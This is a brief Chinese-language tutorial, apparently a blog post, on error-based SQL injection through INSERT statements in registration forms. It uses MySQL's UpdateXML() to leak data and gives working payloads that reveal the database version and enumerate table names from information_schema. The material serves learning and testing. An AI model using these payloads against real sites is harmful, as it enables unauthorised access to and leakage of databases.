使用insert注入
1、原理
一般我们写SQL注入的过滤器的话,重点关注的关键词就是select了,因为这个关键字可以从数据库中查询信息。所以一旦这个函数杯过滤,并且无法通过其他方法进行绕过的话,注入工作可能会变得比较困难。
如果在有用户注册的页面的话,后台SQL语句会有类似insert
出现,例如
insert into user(id,name,pass) values (1,"tony","123456");
这里是可以进行报错注入的。主要就是用到了两个Mysql对XML提供支持的两个函数UpdateXML()
和ExtractValue()
。
以UpdateXML()函数进行举例,这是UpdateXML()函数的参数:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
最关键的就是第二个参数,第二个参数需要符合XPath的格式,一旦不符合的话,就会报错,并且弹出这个不标准的字符串。例如:
INSERT INTO users (id, username, password) VALUES (2, updatexml(1,concat(0x7e,(version())),0), ‘Nervo‘);
中间concat(0x7e,(version())),0)
函数将ASCII为0x7e的字符(~)与数据库版本连接,但是这并不符合XPath格式,所以报错。
2、测试
爆出数据库版本
INSERT INTO users (id, username, pass) VALUES (2,updatexml(1,concat(0x7e,(version())),0), ‘Nervo‘);
爆出数据表
INSERT INTO test (id, name, pass) VALUES (2, updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0), ‘Nervo‘);
时间: 2024-10-12 20:59:01